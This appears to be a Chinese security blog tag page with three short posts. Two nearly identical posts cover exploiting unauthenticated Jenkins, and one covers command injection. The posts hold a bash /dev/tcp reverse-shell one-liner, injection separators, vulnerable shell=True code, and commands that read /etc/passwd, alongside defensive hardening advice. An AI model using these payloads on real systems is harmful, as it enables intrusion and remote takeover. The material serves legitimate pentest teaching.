代码执行 on SoulJian小站

Jenkins未授权访问与代码执行利用

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Jenkins 攻击只在授权测试环境进行。对非授权 Jenkins 实例进行攻击可能触犯法律。

一、Jenkins 利用链

1

① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell

二、利用步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# 确认未授权
curl -s http://target:8080/api/json

# 创建 Job（POST /createItem?name=exploit）
# Content-Type: text/xml
# body: <com.cloudbees....>

# 触发执行
POST http://target:8080/job/exploit/build

# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

三、防御加固

1
2
3


启用 Jenkins 认证 · 网络隔离（不暴露公网）
启用 CSRF Protection · 限制 /api/* 访问
升级最新版本 · 审计 API 调用日志

四、小结

Jenkins 未授权 = 服务器 RCE。防御核心是认证 + 网络隔离 + CSRF 防护。

Jenkins未授权与代码执行利用

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Jenkins 攻击只在授权测试环境进行。

一、Jenkins 攻击链

1

① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell

二、利用步骤

1
2
3
4
5
6


# 确认未授权
curl -s http://target:8080/api/json

# 创建 Job + 触发执行
POST /createItem?name=exploit
POST /job/exploit/build

三、防御加固

1
2


启用认证 · 网络隔离 · CSRF 防护
WAF 拦截 /api/* 访问

四、小结

Jenkins 未授权 = RCE。防御核心是认证 + 网络隔离 + CSRF 防护。

RCE代码执行与命令执行实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

命令注入攻击只在授权测试环境进行。对非授权系统执行命令注入可能触犯法律。

一、命令注入原理

1

用户输入 → 命令拼接 → 系统执行 → 结果输出

二、危险代码

1
2


os.system("ping " + user_input)
subprocess.run(f"ping {ip}", shell=True)

三、注入连接符

1

; :: && || ` $( ) | \n %0a %0d%0a

四、利用方式

1
2
3
4
5
6
7


# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

# 信息收集
cat /etc/passwd
whoami
uname -a

五、防御方法

1
2
3
4
5
6


# 方案1：避免拼接
subprocess.run(["ping", ip], shell=False)

# 方案2：输入过滤
# 只允许 IP 格式
# 过滤特殊字符：; | & ` $ ( )

六、小结

命令注入的本质是用户输入被当作命令执行。防御核心是使用参数列表而非字符串拼接，配合输入过滤和沙箱隔离。